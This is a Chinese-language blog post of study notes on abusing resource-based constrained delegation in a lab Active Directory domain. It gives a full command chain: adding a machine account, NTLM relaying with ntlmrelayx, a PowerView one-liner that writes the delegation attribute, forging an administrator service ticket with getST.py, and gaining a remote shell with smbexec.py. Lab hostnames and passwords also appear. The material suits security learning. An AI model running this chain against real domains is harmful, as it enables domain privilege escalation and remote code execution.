基于资源的约束委派(RBCD)学习

原理

基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。
这里的关键就是谁可以修改属性

REDTEAM\web3user -> WriteProperty(将机器加入域的账号,也就是mS-DS-CreatorSID属性中的账户)
NT AUTHORITY\SELF -> WriteProperty(机器账户自身也可以修改)
我们再回顾一个知识点,默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加多达10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户账户、服务账户、机器账户。

具体可以参考ateam的文章
微软不认的“0day”之域内本地提权-烂番茄

环境搭建

主机机器名ip用户密码版本
域控ad.test.com192.168.164.147administratorAa1234win2012r2
域内机器user.test.com192.168.164.129user1Uu1234.win2008r2
域内机器user2.test.com192.168.164.150user2未知win2008r2

利用

查询账户创建的机器账户

ldapsearch -x -H ldap://192.168.164.146 -D "user1@test.com" -b "DC=test,DC=com" -w Uu1234. "(&(sAMAccountName=user1)(objectClass=user))"|grep objectSid
ldapsearch -x -H ldap://192.168.164.146 -D "user1@test.com" -b "DC=test,DC=com" -w Uu1234. "(&(sAMAccountName=*)(objectClass=computer)(mS-DS-CreatorSID=S-1-5-21-1476105802-4187504772-1115168634-1107))"

添加机器账户

  1. 如果有一个域账户
python3 addcomputer.py -method SAMR -dc-ip 192.168.164.147 -computer-name rbcd -computer-pass 123456 "test.com/user1:Uu1234."

在这里插入图片描述
在这里插入图片描述

  1. 通过中继添加
    使用ntlm中继,前提是需要域控开启ldaps
    在这里插入图片描述
    参考https://www.cnblogs.com/alfredinchange/p/13691748.html
python3 ntlmrelayx.py -t ldaps://ad.test.com --add-computer

在这里插入图片描述

这里显示链接ladps错误,ssl错误,但是使用addcomputer脚本指定ldaps时未错误,原因未知
在这里插入图片描述

中继&委派

无另一台机器权限

python3 ntlmrelayx.py -t ldap://ad.test.com -debug --delegate-access --escalate-user rbcd\$

这里我使用http请求输入账户密码来触发,但是只能获取域内信息,无法修改属性,使用域账户连接ldap无问题,待解决

有另一台机器权限

使用powerview.ps1

https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

查找用户sid

powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Get-DomainComputer -Identity rbcd -Properties objectsid}"

在这里插入图片描述

powershell.exe -exec bypass -Command "Import-Module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList \"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1476105802-4187504772-1115168634-1110)\";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer USER2 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose"

在这里插入图片描述
获取服务票据

python3 getST.py -dc-ip 192.168.164.147 test/rbcd\$:123456 -spn cifs/user2.test.com -impersonate administrator

在这里插入图片描述

export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k user2.test.com

在这里插入图片描述

参考文章

https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/
https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/
https://xz.aliyun.com/t/8690#toc-69
https://xz.aliyun.com/t/7454

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值